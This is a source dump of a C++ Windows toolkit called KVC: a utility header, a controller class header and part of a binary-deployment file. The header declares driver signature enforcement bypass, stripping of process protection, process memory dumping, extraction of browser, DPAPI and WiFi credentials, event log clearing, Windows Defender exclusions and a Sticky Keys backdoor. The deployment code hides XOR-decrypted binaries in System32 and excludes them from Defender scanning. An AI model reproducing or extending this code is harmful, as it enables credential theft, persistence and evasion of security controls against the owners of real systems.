inline constexpr wchar_t KVC_FORENSIC_FILE[]        = L"kvcforensic.dat";
inline constexpr wchar_t KVC_FORENSIC_EXE[]         = L"KvcForensic.exe";
inline constexpr wchar_t KVC_FORENSIC_JSON[]        = L"KvcForensic.json";
inline constexpr wchar_t UNDERVOLTER_LOADER_FILE[] = L"Loader.efi";
inline constexpr wchar_t UNDERVOLTER_EFI_FILE[]    = L"UnderVolter.efi";
inline constexpr wchar_t UNDERVOLTER_INI_FILE[]    = L"UnderVolter.ini";

// ============================================================================
// CONSOLIDATED UTILITY NAMESPACES
// ============================================================================

// String conversion and manipulation utilities
namespace StringUtils {
    // Convert wide string to lowercase in-place
    inline void ToLower(std::wstring& s) noexcept {
        std::transform(s.begin(), s.end(), s.begin(), ::towlower);
    }

    // Return lowercase copy of wide string
    inline std::wstring ToLowerCopy(std::wstring s) noexcept {
        ToLower(s);
        return s;
    }

    // Convert UTF-8 string to wide string (UTF-16 LE)
    inline std::wstring UTF8ToWide(const std::string& str) noexcept {
        if (str.empty()) return L"";
        
        int size_needed = MultiByteToWideChar(CP_UTF8, 0, str.data(), 
                                             static_cast<int>(str.size()), nullptr, 0);
        if (size_needed <= 0) return L"";
        
        std::wstring result(size_needed, 0);
        MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast<int>(str.size()), 
                           result.data(), size_needed);
        return result;
    }
    
    // Convert wide string (UTF-16 LE) to UTF-8 string
    inline std::string WideToUTF8(const std::wstring& wstr) noexcept {
        if (wstr.empty()) return "";
        
        int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.data(), 
                                             static_cast<int>(wstr.size()), 
                                             nullptr, 0, nullptr, nullptr);
        if (size_needed <= 0) return "";
        
        std::string result(size_needed, 0);
        WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast<int>(wstr.size()), 
                           result.data(), size_needed, nullptr, nullptr);
        return result;
    }
    
    // Convert string to lowercase in-place
    inline std::wstring& ToLowerCase(std::wstring& str) noexcept {
        std::transform(str.begin(), str.end(), str.begin(), ::towlower);
        return str;
    }
    
    // Create lowercase copy of string
    inline std::wstring ToLowerCaseCopy(const std::wstring& str) noexcept {
        std::wstring result = str;
        std::transform(result.begin(), result.end(), result.begin(), ::towlower);
        return result;
    }
}

// Path and filesystem manipulation utilities
namespace PathUtils {
    // Get user's Downloads folder path
    inline std::wstring GetDownloadsPath() noexcept {
        wchar_t* downloadsPath = nullptr;
        if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, nullptr, &downloadsPath) != S_OK) {
            return L"";
        }
        
        std::wstring result = downloadsPath;
        CoTaskMemFree(downloadsPath);
        return result;
    }
    
    // Get default secrets output path with timestamp
    // Format: Downloads\Secrets_DD.MM.YYYY
    inline std::wstring GetDefaultSecretsOutputPath() noexcept {
        std::wstring downloadsPath = GetDownloadsPath();
        if (downloadsPath.empty()) {
            return L"";
        }
        
        auto now = std::chrono::system_clock::now();
        auto time = std::chrono::system_clock::to_time_t(now);
        std::tm tm;
        localtime_s(&tm, &time);
        
        wchar_t dateStr[16];
        swprintf_s(dateStr, L"_%02d.%02d.%04d", 
                   tm.tm_mday, tm.tm_mon + 1, tm.tm_year + 1900);
        
        return downloadsPath + L"\\Secrets" + dateStr;
    }
    
    // Ensure directory exists, create if missing
    inline bool EnsureDirectoryExists(const std::wstring& path) noexcept {
        if (path.empty()) return false;
        
        std::error_code ec;
        if (std::filesystem::exists(path, ec)) {
            return std::filesystem::is_directory(path, ec);
        }
        
        return std::filesystem::create_directories(path, ec) && !ec;
    }
    
    // Validate directory write access
    inline bool ValidateDirectoryWritable(const std::wstring& path) noexcept {
        try {
            std::filesystem::create_directories(path);
            
            std::wstring testFile = path + L"\\test.tmp";
            HANDLE hTest = CreateFileW(testFile.c_str(), GENERIC_WRITE, 0, nullptr, 
                                      CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
            
            if (hTest == INVALID_HANDLE_VALUE) return false;
            
            CloseHandle(hTest);
            DeleteFileW(testFile.c_str());
            return true;
        } catch (...) {
            return false;
        }
    }
}

// Time and date formatting utilities
namespace TimeUtils {
    // Get formatted timestamp string
    // Formats: "date_only", "datetime_file", "datetime_display"
    inline std::wstring GetFormattedTimestamp(const char* format = "datetime_file") noexcept {
        auto now = std::chrono::system_clock::now();
        auto time = std::chrono::system_clock::to_time_t(now);
        std::tm tm;
        localtime_s(&tm, &time);
        
        std::wstringstream ss;
        
        if (strcmp(format, "date_only") == 0) {
            ss << std::put_time(&tm, L"%d.%m.%Y");
        }
        else if (strcmp(format, "datetime_display") == 0) {
            ss << std::put_time(&tm, L"%Y-%m-%d %H:%M:%S");
        }
        else { // datetime_file (default)
            ss << std::put_time(&tm, L"%Y.%m.%d_%H.%M.%S");
        }
        
        return ss.str();
    }
}

// Cryptographic and encoding utilities
namespace CryptoUtils {
    // Decode Base64 string to binary data
    inline std::vector<BYTE> Base64Decode(const std::string& encoded) noexcept {
        if (encoded.empty()) return {};
        
        DWORD decodedSize = 0;
        if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64, 
                                 nullptr, &decodedSize, nullptr, nullptr)) {
            return {};
        }
        
        std::vector<BYTE> decoded(decodedSize);
        if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64, 
                                 decoded.data(), &decodedSize, nullptr, nullptr)) {
            return {};
        }
        
        decoded.resize(decodedSize);
        return decoded;
    }
    
    // Convert byte vector to hexadecimal string
    inline std::string BytesToHex(const std::vector<BYTE>& bytes, size_t maxBytes = 0) noexcept {
        if (bytes.empty()) return "";
        
        size_t limit = (maxBytes > 0 && maxBytes < bytes.size()) ? maxBytes : bytes.size();
        
        std::ostringstream hexStream;
        hexStream << std::hex << std::setfill('0');
        
        for (size_t i = 0; i < limit; ++i) {
            hexStream << std::setw(2) << static_cast<int>(bytes[i]);
        }
        
        if (maxBytes > 0 && bytes.size() > maxBytes) {
            hexStream << "...";
        }
        
        return hexStream.str();
    }
}

// Windows privilege manipulation utilities
namespace PrivilegeUtils {
    // Enable specified privilege in current process token
    inline bool EnablePrivilege(LPCWSTR privilege) noexcept {
        HANDLE hToken;
        if (!OpenProcessToken(GetCurrentProcess(), 
                             TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
            return false;
        }

        LUID luid;
        if (!LookupPrivilegeValueW(nullptr, privilege, &luid)) {
            CloseHandle(hToken);
            return false;
        }

        TOKEN_PRIVILEGES tp = {};
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, 
                                           sizeof(TOKEN_PRIVILEGES), nullptr, nullptr);
        DWORD lastError = GetLastError();
        CloseHandle(hToken);
        
        return result && (lastError == ERROR_SUCCESS);
    }
}

<<<FILE: kvc/Controller.h>>>
Created:  2026-05-27 19:54:27
Modified: 2026-05-27 19:54:27
Size:     16.13 KB
// Controller.h
// Main orchestration class for KVC Framework operations

#pragma once

#include "SessionManager.h"
#include "kvcDrv.h"
#include "KvcStrmClient.h"
#include "DSEBypass.h"
#include "OffsetFinder.h"
#include "TrustedInstallerIntegrator.h"
#include "Utils.h"
#include "WatermarkManager.h"
#include "ModuleManager.h"
#include <vector>
#include <memory>
#include <optional>
#include <chrono>
#include <unordered_map>

class ReportExporter;

// Kernel process structure representation
struct ProcessEntry
{
    ULONG_PTR KernelAddress;
    DWORD Pid;
    UCHAR ProtectionLevel;
    UCHAR SignerType;
    UCHAR SignatureLevel;
    UCHAR SectionSignatureLevel;
    std::wstring ProcessName;
    std::wstring UserName;
    std::wstring IntegrityLevel;
};

// Process search result
struct ProcessMatch
{
    DWORD Pid = 0;
    std::wstring ProcessName;
    ULONG_PTR KernelAddress = 0;
};

// SQLite function pointers for browser operations
struct SQLiteAPI
{
    HMODULE hModule = nullptr;
    int (*open_v2)(const char*, void**, int, const char*) = nullptr;
    int (*prepare_v2)(void*, const char*, int, void**, const char**) = nullptr;
    int (*step)(void*) = nullptr;
    const unsigned char* (*column_text)(void*, int) = nullptr;
    const void* (*column_blob)(void*, int) = nullptr;
    int (*column_bytes)(void*, int) = nullptr;
    int (*finalize)(void*) = nullptr;
    int (*close_v2)(void*) = nullptr;
};

// Password extraction result
struct PasswordResult
{
    std::wstring type;
    std::wstring profile;
    std::wstring url;
    std::wstring username;
    std::wstring password;
    std::wstring file;
    std::wstring data;
    std::wstring status;
    uintmax_t size = 0;
};

// Registry master key for DPAPI operations
struct RegistryMasterKey
{
    std::wstring keyName;
    std::vector<BYTE> encryptedData;
    std::vector<BYTE> decryptedData;
    bool isDecrypted = false;
};

// Main controller class managing kernel driver, process protection, 
// memory dumping, DPAPI extraction, and system operations
class Controller
{
public:
    Controller();
    ~Controller();

    Controller(const Controller&) = delete;
    Controller& operator=(const Controller&) = delete;
    Controller(Controller&&) noexcept = default;
    Controller& operator=(Controller&&) noexcept = default;

	// DSE bypass operations (Standard method)
	bool DisableDSE() noexcept;
	bool RestoreDSE() noexcept;
	ULONG_PTR GetCiOptionsAddress() const noexcept;
	bool GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept;
	
	// DSE bypass operations (Safe/PDB-based method)
    bool DisableDSESafe() noexcept;
    bool RestoreDSESafe() noexcept;
	
	// External driver loading (with DSE bypass)
	bool LoadExternalDriver(const std::wstring& driverPath, DWORD startType = SERVICE_DEMAND_START) noexcept;
	bool ReloadExternalDriver(const std::wstring& driverNameOrPath) noexcept;
	bool StopExternalDriver(const std::wstring& driverNameOrPath) noexcept;
	bool RemoveExternalDriver(const std::wstring& driverNameOrPath) noexcept;

	// kvcstrm lifecycle helpers: ensure handle open (starting service if needed),
	// cleanup (stop service only if we auto-started it)
	bool EnsureStrmOpen(bool& autoStarted) noexcept;
	void CleanupStrm(bool autoStarted) noexcept;
	
	// Handles removal and restoration of system watermark related to signature hijacking
	bool RemoveWatermark() noexcept;
	bool RestoreWatermark() noexcept;
	std::wstring GetWatermarkStatus() noexcept;

    // Memory dumping
    bool DumpProcess(DWORD pid, const std::wstring& outputPath, std::wstring* outDumpPath = nullptr) noexcept;
    bool DumpProcessByName(const std::wstring& processName, const std::wstring& outputPath, std::wstring* outDumpPath = nullptr) noexcept;
	
	// Module enumeration
	bool EnumerateProcessModules(DWORD pid) noexcept;
	bool EnumerateProcessModulesByName(const std::wstring& processName) noexcept;
	bool ReadModuleMemory(DWORD pid, const std::wstring& moduleName, ULONG_PTR offset, size_t size) noexcept;
    
    // SMSS Boot-Phase Driver Loader
    bool InstallSmssDriver(const std::wstring& driverArg, bool usePdb = false) noexcept;
    bool UninstallSmss() noexcept;

    // Binary management
    bool LoadAndSplitCombinedBinaries() noexcept;
    bool EnsureBinaryComponents() noexcept;
    bool WriteExtractedComponents(const std::vector<BYTE>& kvcPassData,
                                  const std::vector<BYTE>& kvcCryptData) noexcept;
    bool DeployUnderVolter() noexcept;
    bool RemoveUnderVolter() noexcept;
    std::wstring GetUnderVolterStatus() noexcept;

    // Filesystem blocker (kvcblocker.sys minifilter, service: clrcd)
    bool EnsureBlockerDriver() noexcept;
    bool IsBlockerRunning() noexcept;
    std::wstring GetBlockerStatus() noexcept;

    // Forensic module (KvcForensic.exe embedded in kvcforensic.dat)
    bool IsForensicAvailable() noexcept;
    bool DeployForensicModule() noexcept;
    bool RunForensicAnalysis(const std::wstring& dumpPath, const std::wstring& format,
                             bool full, const std::wstring& ticketsDir) noexcept;
    bool LaunchForensicGui() noexcept;

    // Process information
    bool ListProtectedProcesses() noexcept;
    std::vector<ProcessEntry> GetAllProcessList() noexcept;
    bool GetProcessProtection(DWORD pid) noexcept;
    bool GetProcessProtectionByName(const std::wstring& processName) noexcept;
	bool PrintProcessInfo(DWORD pid) noexcept;
	

    // Process protection manipulation
    bool SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
    bool ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
    bool UnprotectProcess(DWORD pid) noexcept;

    // Process signature spoofing
    bool SpoofProcessSignatures(DWORD pid, UCHAR exeSig, UCHAR dllSig) noexcept;
    bool SpoofProcessSignaturesByName(const std::wstring& processName, UCHAR exeSig, UCHAR dllSig) noexcept;

    // Name-based operations
    bool ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
    bool UnprotectProcessByName(const std::wstring& processName) noexcept;
    bool SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;

	// Signer-based batch operations
	bool UnprotectBySigner(const std::wstring& signerName) noexcept;
	bool ListProcessesBySigner(const std::wstring& signerName) noexcept;
	bool SetProtectionBySigner(const std::wstring& currentSigner, 
							  const std::wstring& level, 
							  const std::wstring& newSigner) noexcept;

	// Session state management
    bool RestoreProtectionBySigner(const std::wstring& signerName) noexcept;
    bool RestoreAllProtection() noexcept;
    void ShowSessionHistory() noexcept;
	bool SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept;
	bool SetProcessSignatures(ULONG_PTR addr, UCHAR exeSig, UCHAR dllSig) noexcept;
	
	SessionManager m_sessionMgr;

    // Batch operations
    bool UnprotectAllProcesses() noexcept;
    bool UnprotectMultipleProcesses(const std::vector<std::wstring>& targets) noexcept;
	bool ProtectMultipleProcesses(const std::vector<std::wstring>& targets, 
                               const std::wstring& protectionLevel, 
                               const std::wstring& signerType) noexcept;
	bool SetMultipleProcessesProtection(const std::vector<std::wstring>& targets, 
										 const std::wstring& protectionLevel, 
										 const std::wstring& signerType) noexcept;
	
    // Process termination
    bool KillMultipleProcesses(const std::vector<DWORD>& pids) noexcept;
	bool KillMultipleTargets(const std::vector<std::wstring>& targets) noexcept;
    bool KillProcess(DWORD pid) noexcept;
    bool KillProcessByName(const std::wstring& processName) noexcept;

    // Kernel access
    std::optional<ULONG_PTR> GetProcessKernelAddress(DWORD pid) noexcept;
    std::optional<UCHAR> GetProcessProtection(ULONG_PTR kernelAddress) noexcept;
    std::vector<ProcessEntry> GetProcessList() noexcept;
    std::vector<ProcessMatch> FindProcessesByName(const std::wstring& pattern) noexcept;

    // Self-protection
    bool SelfProtect(const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
    std::optional<ProcessMatch> ResolveNameWithoutDriver(const std::wstring& processName) noexcept;

    // DPAPI password extraction
    bool ShowPasswords(const std::wstring& outputPath) noexcept;
    bool ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept;

    // TrustedInstaller operations
    bool RunAsTrustedInstaller(const std::wstring& commandLine);
    bool RunAsTrustedInstallerSilent(const std::wstring& command);
    bool AddContextMenuEntries();
    
    // Windows Defender exclusions
    bool AddToDefenderExclusions(const std::wstring& customPath = L"");
    bool RemoveFromDefenderExclusions(const std::wstring& customPath = L"");
    bool AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value);
    bool RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value);
    
    // Type-specific exclusions
    bool AddExtensionExclusion(const std::wstring& extension);
    bool RemoveExtensionExclusion(const std::wstring& extension);
    bool AddIpAddressExclusion(const std::wstring& ipAddress);
    bool RemoveIpAddressExclusion(const std::wstring& ipAddress);
    bool AddProcessExclusion(const std::wstring& processName);
    bool RemoveProcessExclusion(const std::wstring& processName);
    bool AddPathExclusion(const std::wstring& path);
    bool RemovePathExclusion(const std::wstring& path);
    
    // System administration
    bool ClearSystemEventLogs() noexcept;

    // Driver management
    bool InstallDriver() noexcept;
    bool UninstallDriver() noexcept;
    void DeleteDriverFiles() noexcept;
    bool StartDriverService() noexcept;
    bool StopDriverService() noexcept;
    bool StartDriverServiceSilent() noexcept;
    
	// Driver extraction (already decrypted by Utils)
	std::vector<BYTE> ExtractDriver(std::vector<BYTE>& outKvcKiller, std::vector<BYTE>& outKvcBlocker, std::vector<BYTE>& outKvcstrm) noexcept;
	
    // Emergency operations
    bool PerformAtomicCleanup() noexcept;

    // Backdoor management
    bool InstallStickyKeysBackdoor() noexcept;
    bool RemoveStickyKeysBackdoor() noexcept;

    // ======================================================
    // PUBLIC ACCESS METHODS FOR DSE STATUS CHECKING
    // ======================================================
    
    // Driver session management for external access
    bool BeginDriverSession();
    void EndDriverSession(bool force = false);
    
    // DSE state checking (unified)
    bool CheckDSENGState(DSEBypass::DSEState& outState) noexcept;
    std::wstring GetDSENGStatusInfo() noexcept;
    
    // Direct access to drivers
    std::unique_ptr<kvc>& GetRTC() { return m_rtc; }
    KvcStrmClient& GetStrm() { return m_strm; }

private:
    TrustedInstallerIntegrator m_trustedInstaller;
    WatermarkManager m_watermarkManager{m_trustedInstaller};
	std::unique_ptr<kvc> m_rtc;
	KvcStrmClient m_strm;
	ULONG64 m_cachedTokenOffset = 0;
	std::unique_ptr<OffsetFinder> m_of;
	std::unique_ptr<DSEBypass> m_dseBypass;  // Unified DSE manager
    SQLiteAPI m_sqlite;

    // Privilege management
	bool WriteFileWithPrivileges(const std::wstring& filePath, const std::vector<BYTE>& data) noexcept;

    // Driver operations
    bool ForceRemoveService() noexcept;
    bool EnsureDriverAvailable() noexcept;
    bool IsDriverCurrentlyLoaded() noexcept;
    bool PerformAtomicInit() noexcept;
    bool PerformAtomicInitWithErrorCleanup() noexcept;
    bool InstallDriverSilently() noexcept;
    bool RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept;
	
	// Driver session management
    bool m_driverSessionActive = false;
    std::chrono::steady_clock::time_point m_lastDriverUsage;
    
    bool IsServiceZombie() noexcept;
    void UpdateDriverUsageTimestamp();

    // Non-compliant host process handling (e.g. MSI Afterburner owning a conflicting driver).
    // Reads install path from registry, finds the running process by name, terminates it.
    // The driver unloads automatically on process exit.  No restore — host restarts itself.
    bool CheckAndTerminateNonCompliantHost() noexcept;

    // Cache management
    void RefreshKernelAddressCache();
    std::optional<ULONG_PTR> GetCachedKernelAddress(DWORD pid);
    
    // Internal process termination
    bool KillProcessInternal(DWORD pid, bool batchOperation = false) noexcept;
	
    // Kernel address cache
    std::unordered_map<DWORD, ULONG_PTR> m_kernelAddressCache;
    std::chrono::steady_clock::time_point m_cacheTimestamp;
    std::vector<ProcessEntry> m_cachedProcessList;

    // Process management
    std::optional<ULONG_PTR> GetInitialSystemProcessAddress() noexcept;
    bool IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept;
	
	// Batch operation helpers
	bool ProtectProcessInternal(DWORD pid, const std::wstring& protectionLevel, 
								const std::wstring& signerType, bool batchOperation) noexcept;
	bool SetProcessProtectionInternal(DWORD pid, const std::wstring& protectionLevel, 
									  const std::wstring& signerType, bool batchOperation) noexcept;

    // Memory dumping
    bool CreateMiniDump(DWORD pid, const std::wstring& outputPath, std::wstring* outDumpPath = nullptr) noexcept;
    bool SetCurrentProcessProtection(UCHAR protection) noexcept;

    // DPAPI extraction lifecycle
    bool PerformPasswordExtractionInit() noexcept;
    void PerformPasswordExtractionCleanup() noexcept;

    // Registry master key extraction
    bool ExtractRegistryMasterKeys(std::vector<RegistryMasterKey>& masterKeys) noexcept;
    bool ExtractLSASecretsViaTrustedInstaller(std::vector<RegistryMasterKey>& masterKeys) noexcept;
    bool ParseRegFileForSecrets(const std::wstring& regFilePath, std::vector<RegistryMasterKey>& masterKeys) noexcept;
    bool ProcessRegistryMasterKeys(std::vector<RegistryMasterKey>& masterKeys) noexcept;
    
    // Browser password processing
    bool ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& masterKeys, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
    bool ProcessSingleBrowser(const std::wstring& browserPath, const std::wstring& browserName, const std::vector<RegistryMasterKey>& masterKeys, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
    bool ExtractBrowserMasterKey(const std::wstring& browserPath, const std::wstring& browserName, const std::vector<RegistryMasterKey>& masterKeys, std::vector<BYTE>& decryptedKey) noexcept;
    int ProcessLoginDatabase(const std::wstring& loginDataPath, const std::wstring& browserName, const std::wstring& profileName, const std::vector<BYTE>& masterKey, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;

    // kvc_pass JSON result integration
    void MergeKvcPassResults(const std::wstring& outputPath, const std::wstring& browserName, std::vector<PasswordResult>& results) noexcept;

    // WiFi credentials
    bool ExtractWiFiCredentials(std::vector<PasswordResult>& results) noexcept;

    // SQLite operations
    bool LoadSQLiteLibrary() noexcept;
    void UnloadSQLiteLibrary() noexcept;

    // Cryptographic operations
    std::vector<BYTE> DecryptWithDPAPI(const std::vector<BYTE>& encryptedData, const std::vector<RegistryMasterKey>& masterKeys) noexcept;
    std::string DecryptChromeAESGCM(const std::vector<BYTE>& encryptedData, const std::vector<BYTE>& key) noexcept;

    // Process name resolution
    std::optional<ProcessMatch> ResolveProcessName(const std::wstring& processName) noexcept;
    std::vector<ProcessMatch> FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept;

    // Process termination helpers
    bool TryRelaunchKilledProcess(const std::wstring& name) noexcept;
	
    // HVCI detection and handling (same logic as DisableDSESafe)
    bool CheckAndHandleHVCI(const std::wstring& operation, const std::wstring& targetPath) noexcept;
	
	// External driver path helpers
	std::wstring NormalizeDriverPath(const std::wstring& input) noexcept;
	std::wstring ExtractServiceName(const std::wstring& driverPath) noexcept;
};

<<<FILE: kvc/ControllerBinaryManager.cpp>>>
Created:  2026-04-12 18:21:19
Modified: 2026-04-12 18:21:19
Size:     22.94 KB
// ControllerBinaryManager.cpp - Binary component extraction and deployment with privilege escalation

#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include "HelpSystem.h"
#include "TrustedInstallerIntegrator.h"
#include <filesystem>
#include <array>
#include <winioctl.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")

namespace fs = std::filesystem;

// ── EFI helpers (local to this translation unit) ─────────────────────────────

// Finds the EFI System Partition volume GUID path using Windows API
static std::wstring FindESPVolumeGuid() noexcept
{
    wchar_t volumeName[MAX_PATH];
    HANDLE hFind = FindFirstVolumeW(volumeName, ARRAYSIZE(volumeName));
    if (hFind == INVALID_HANDLE_VALUE) return {};

    do {
        // volumeName is in format \\?\Volume{GUID}\ (trailing backslash)
        std::wstring volumePath = volumeName;
        if (volumePath.back() == L'\\') volumePath.pop_back();

        // Open volume handle to query partition information
        HANDLE hVolume = CreateFileW(volumePath.c_str(), 0, FILE_SHARE_READ | FILE_SHARE_WRITE,
                                    nullptr, OPEN_EXISTING, 0, nullptr);
        if (hVolume != INVALID_HANDLE_VALUE) {
            PARTITION_INFORMATION_EX partInfo{};
            DWORD bytesReturned = 0;
            if (DeviceIoControl(hVolume, IOCTL_DISK_GET_PARTITION_INFO_EX, nullptr, 0,
                                &partInfo, sizeof(partInfo), &bytesReturned, nullptr)) {
                if (partInfo.PartitionStyle == PARTITION_STYLE_GPT) {
                    // EFI System Partition GUID: {C12A7328-F81F-11D2-BA4B-00A0C93EC93B}
                    static constexpr GUID ESP_GUID = { 0xC12A7328, 0xF81F, 0x11D2, { 0xBA, 0x4B, 0x00, 0xA0, 0xC9, 0x3E, 0xC9, 0x3B } };
                    if (IsEqualGUID(partInfo.Gpt.PartitionType, ESP_GUID)) {
                        CloseHandle(hVolume);
                        FindVolumeClose(hFind);
                        return volumeName; // Returns with trailing backslash (e.g. \\?\Volume{...}\)
                    }
                }
            }
            CloseHandle(hVolume);
        }
    } while (FindNextVolumeW(hFind, volumeName, ARRAYSIZE(volumeName)));

    FindVolumeClose(hFind);
    return {};
}

// Create directory tree (ignore if already exists)
static void EnsureDir(const fs::path& p) noexcept
{
    try { fs::create_directories(p); } catch (...) {}
}

// Writes file with automatic privilege escalation if normal write fails
bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std::vector<BYTE>& data) noexcept
{
    // First attempt: normal write operation
    if (Utils::WriteFile(filePath, data)) {
        return true;
    }
    
    // If normal write fails, check if file exists and handle system files
    const DWORD attrs = GetFileAttributesW(filePath.c_str());
    if (attrs != INVALID_FILE_ATTRIBUTES) {
        INFO(L"Target file exists, attempting privileged overwrite: %s", filePath.c_str());
        
        // Clear restrictive attributes first
        if (attrs & (FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN)) {
            SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL);
        }
        
        // Try to delete with normal privileges first
        if (!DeleteFileW(filePath.c_str())) {
            // Fallback: Use TrustedInstaller for system-protected files
            INFO(L"Normal delete failed, escalating to TrustedInstaller");
            if (!m_trustedInstaller.DeleteFileAsTrustedInstaller(filePath)) {
                ERROR(L"Failed to delete existing file with TrustedInstaller: %s", filePath.c_str());
                return false;
            }
        }
    }
    
    // Retry normal write after cleanup
    if (Utils::WriteFile(filePath, data)) {
        return true;
    }
    
    // Final fallback: write directly with TrustedInstaller privileges
    INFO(L"Using TrustedInstaller to write file to protected location");
    if (!m_trustedInstaller.WriteFileAsTrustedInstaller(filePath, data)) {
        ERROR(L"TrustedInstaller write operation failed for: %s", filePath.c_str());
        return false;
    }
    
    return true;
}

// Enhanced file writing with TrustedInstaller privileges and proper overwrite handling
bool Controller::WriteExtractedComponents(const std::vector<BYTE>& kvcPassData, 
                                         const std::vector<BYTE>& kvcCryptData) noexcept
{
    INFO(L"Writing extracted components to target locations");
    
    try {
        wchar_t systemDir[MAX_PATH];
        if (GetSystemDirectoryW(systemDir, MAX_PATH) == 0) {
            ERROR(L"Failed to get System32 directory path");
            return false;
        }
        
        const fs::path system32Dir = systemDir;
        const fs::path kvcPassPath = system32Dir / KVC_PASS_FILE;
        const fs::path kvcCryptPath = system32Dir / KVC_CRYPT_FILE;
        const fs::path kvcMainPath = system32Dir / L"kvc.exe";
        
        INFO(L"Target paths - kvc_pass.exe: %s", kvcPassPath.c_str());
        INFO(L"Target paths - kvc_crypt.dll: %s", kvcCryptPath.c_str());
        INFO(L"Target paths - kvc.exe: %s", kvcMainPath.c_str());
        
        // Get current executable path for self-copy
        wchar_t currentExePath[MAX_PATH];
        if (GetModuleFileNameW(nullptr, currentExePath, MAX_PATH) == 0) {
            ERROR(L"Failed to get current executable path");
            return false;
        }
        
        auto currentExeData = Utils::ReadFile(currentExePath);
        if (currentExeData.empty()) {
            ERROR(L"Failed to read current executable for self-copy");
            return false;
        }
        
        // Write all components using enhanced method with privilege escalation
        bool allSuccess = true;
        
        // Write kvc_pass.exe
        if (!WriteFileWithPrivileges(kvcPassPath.wstring(), kvcPassData)) {
            ERROR(L"Failed to write kvc_pass.exe to System32 directory");
            allSuccess = false;
        } else {
            INFO(L"Successfully wrote kvc_pass.exe (%zu bytes)", kvcPassData.size());
        }
        
        // Write kvc_crypt.dll  
        if (!WriteFileWithPrivileges(kvcCryptPath.wstring(), kvcCryptData)) {
            ERROR(L"Failed to write kvc_crypt.dll to System32 directory");
            allSuccess = false;
            // Cleanup on partial failure
            DeleteFileW(kvcPassPath.c_str());
        } else {
            INFO(L"Successfully wrote kvc_crypt.dll (%zu bytes)", kvcCryptData.size());
        }
        
        // Write kvc.exe (self-copy)
        if (!WriteFileWithPrivileges(kvcMainPath.wstring(), currentExeData)) {
            ERROR(L"Failed to write kvc.exe to System32 directory");
            allSuccess = false;
            // Cleanup on partial failure
            DeleteFileW(kvcPassPath.c_str());
            DeleteFileW(kvcCryptPath.c_str());
        } else {
            INFO(L"Successfully wrote kvc.exe (%zu bytes)", currentExeData.size());
        }
        
        if (!allSuccess) {
            return false;
        }
        
        // Set stealth attributes for all files
        const DWORD stealthAttribs = FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN;
        
        SetFileAttributesW(kvcPassPath.c_str(), stealthAttribs);
        SetFileAttributesW(kvcCryptPath.c_str(), stealthAttribs);
        SetFileAttributesW(kvcMainPath.c_str(), stealthAttribs);
        
        // Add Windows Defender exclusions for deployed components using batch operation
        INFO(L"Adding Windows Defender exclusions for deployed components");

        // Use batch operation instead of individual calls for better performance
        std::vector<std::wstring> paths = {
            kvcPassPath.wstring(),
            kvcCryptPath.wstring(), 
            kvcMainPath.wstring()
        };

        std::vector<std::wstring> processes = {
            L"kvc_pass.exe",
            L"kvc.exe"
        };

        // Single batch call replaces 5 individual operations - much faster!
        int exclusionsAdded = m_trustedInstaller.AddMultipleDefenderExclusions(paths, processes, {});

        INFO(L"Windows Defender exclusions configured successfully");
        
        INFO(L"Binary component extraction and deployment completed successfully");
        return true;
        
    } catch (const std::exception& e) {
        ERROR(L"Exception during component writing: %S", e.what());
        return false;
    } catch (...) {
        ERROR(L"Unknown exception during component writing");
        return false;
    }
}

// Main entry point for kvc.dat processing - decrypt and extract components
bool Controller::LoadAndSplitCombinedBinaries() noexcept 
{
    INFO(L"Starting kvc.dat processing - loading combined encrypted binary");
    
    try {
        const fs::path currentDir = fs::current_path();
        const fs::path kvcDataPath = currentDir / KVC_DATA_FILE;
        
        if (!fs::exists(kvcDataPath)) {
            ERROR(L"kvc.dat file not found in current directory: %s", kvcDataPath.c_str());
            return false;
        }
        
        auto encryptedData = Utils::ReadFile(kvcDataPath.wstring());
        if (encryptedData.empty()) {
            ERROR(L"Failed to read kvc.dat file or file is empty");
            return false;
        }
        
        INFO(L"Successfully loaded kvc.dat (%zu bytes)", encryptedData.size());
        
        // Decrypt using XOR cipher with predefined key
        auto decryptedData = Utils::DecryptXOR(encryptedData, KVC_XOR_KEY);
        if (decryptedData.empty()) {
            ERROR(L"XOR decryption failed - invalid encrypted data");
            return false;
        }

        INFO(L"XOR decryption completed successfully");

        // Split combined binary into separate PE components
        std::vector<BYTE> kvcPassData, kvcCryptData;
